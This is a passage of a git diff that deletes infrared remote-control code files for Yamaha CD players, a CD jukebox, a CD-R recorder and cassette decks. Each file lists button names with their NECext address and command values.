-type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: OUTPUT_LEVEL_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_LEVEL_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: FILE_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1F 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 20 00 00 00 -# -name: TEXT_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2B 00 00 00 -# -name: TEXT_SEARCH -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2C 00 00 00 -# -name: CAPS -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2D 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 3F 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: +1_DISC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 51 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 55 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 -# -name: ALL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 5B 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 60 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 61 00 00 00 -# -name: GROUP_A -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 62 00 00 00 -# -name: GROUP_B -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 63 00 00 00 -# -name: GROUP_C -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 64 00 00 00 -# -name: GROUP_D -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 65 00 00 00 -# -name: GROUP_E -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 66 00 00 00 -# -name: FILE_EDIT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 67 00 00 00 -# -name: GROUP_EDIT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir deleted file mode 100644 index fcb65c733..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir deleted file mode 100644 index f860c5ede..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir +++ /dev/null @@ -1,1022 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISC_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: D-MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: CHANGER_MODE_TOG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: PLAY/PAUSE_TOG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 03 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SKIP_DOWN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: <<_SKIP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SCAN_DOWN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: <<_SEARCH -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SCAN_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: REPEAT_-_TOGGLE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: REPEAT_MODE_TOG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: TEXT/TIME -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: TIME_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: TIME_DISPLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: CANCEL/CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: OUTPUT- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_LEVEL_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_LEVEL_DN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: OUTPUT_LEVEL_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: OUTPUT_LEVEL_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: OUTPUT_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: FILE_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1F 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 20 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 21 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 22 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 23 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 24 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 25 00 00 00 -# -name: TEXT_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2B 00 00 00 -# -name: TEXT_SEARCH -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2C 00 00 00 -# -name: CAPS -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2D 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 2E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 3F 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 41 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 42 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 43 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 44 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 45 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 46 00 00 00 -# -name: 17 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 47 00 00 00 -# -name: 18 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 48 00 00 00 -# -name: 19 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 49 00 00 00 -# -name: 20 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4A 00 00 00 -# -name: 21 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4B 00 00 00 -# -name: 22 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4C 00 00 00 -# -name: 23 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4D 00 00 00 -# -name: 24 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4E 00 00 00 -# -name: DISC_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_SKIP_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_SKIP_> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: +_DISC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DSIC_SKIP_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_DOWN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: DISC_SKIP_DOWN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: DISC_SKIP_< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: -_DISC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: DISC- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: <_DISC_SKIP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: +1_DISC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 51 00 00 00 -# -name: DISC_SCAN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 53 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 53 00 00 00 -# -name: DISCSCAN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 53 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 54 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 55 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 57 00 00 00 -# -name: SYNCHRO -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 58 00 00 00 -# -name: +20 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 59 00 00 00 -# -name: +30 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 5A 00 00 00 -# -name: ALL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 5B 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 5D 00 00 00 -# -name: POWER_-_TOGGLE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 60 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 60 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 60 00 00 00 -# -name: POWER_TOG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 60 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 61 00 00 00 -# -name: GROUP_A -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 62 00 00 00 -# -name: GROUP_B -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 63 00 00 00 -# -name: GROUP_C -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 64 00 00 00 -# -name: GROUP_D -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 65 00 00 00 -# -name: GROUP_E -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 66 00 00 00 -# -name: FILE_EDIT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 67 00 00 00 -# -name: GROUP_EDIT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 68 00 00 00 -# -name: FOLDER_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 69 00 00 00 -# -name: FOLDER_DOWN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6A 00 00 00 -# -name: PURE_DIRECT_TOG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6E 00 00 00 -# -name: USB/CD_MODE_TOG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6F 00 00 00 -# -name: PLAY_-_NORMAL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 79 00 00 00 -# -name: PLAY_MODE_NORMAL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 79 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 79 00 00 00 -# -name: PLAY_-_RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7A 00 00 00 -# -name: PLAY_MODE_RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7A 00 00 00 -# -name: PLAY_-_PROGRAM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7B 00 00 00 -# -name: PLAY_MODE_PROGRAM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7B 00 00 00 -# -name: REPEAT_-_OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7C 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7C 00 00 00 -# -name: REPEAT_-_ALL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7D 00 00 00 -# -name: REPEAT_ALL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7D 00 00 00 -# -name: POWER_-_ON -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7E 00 00 00 -# -name: POWER_-_OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir deleted file mode 100644 index 1606f4578..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: STOP/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir deleted file mode 100644 index b2ef28b06..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 81 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 83 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 84 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 86 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 87 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 88 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 89 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8E 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 90 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 91 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 92 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 93 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 94 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 95 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 96 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 97 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 98 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 99 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 9A 00 00 00 -# -name: TEXT/TIME -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 9E 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: A0 00 00 00 -# -name: COPY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: A3 00 00 00 -# -name: FINALIZE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: A5 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: A6 00 00 00 -# -name: TRACK_NO._WRITE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: A7 00 00 00 -# -name: AMQR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: A8 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: AB 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: B6 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: B7 00 00 00 -# -name: COMPLETE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: B8 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: B9 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: BA 00 00 00 -# -name: VALUE_+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: BB 00 00 00 -# -name: VALUE_- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: BC 00 00 00 -# -name: CDR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: BD 00 00 00 -# -name: HDD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: BE 00 00 00 -# -name: BOOKMARK -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: DD 00 00 00 -# -name: GROUP_SKIP_- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: DE 00 00 00 -# -name: GROUP_SKIP_+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir deleted file mode 100644 index 11ca0f8c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir deleted file mode 100644 index ca4d4afc8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: 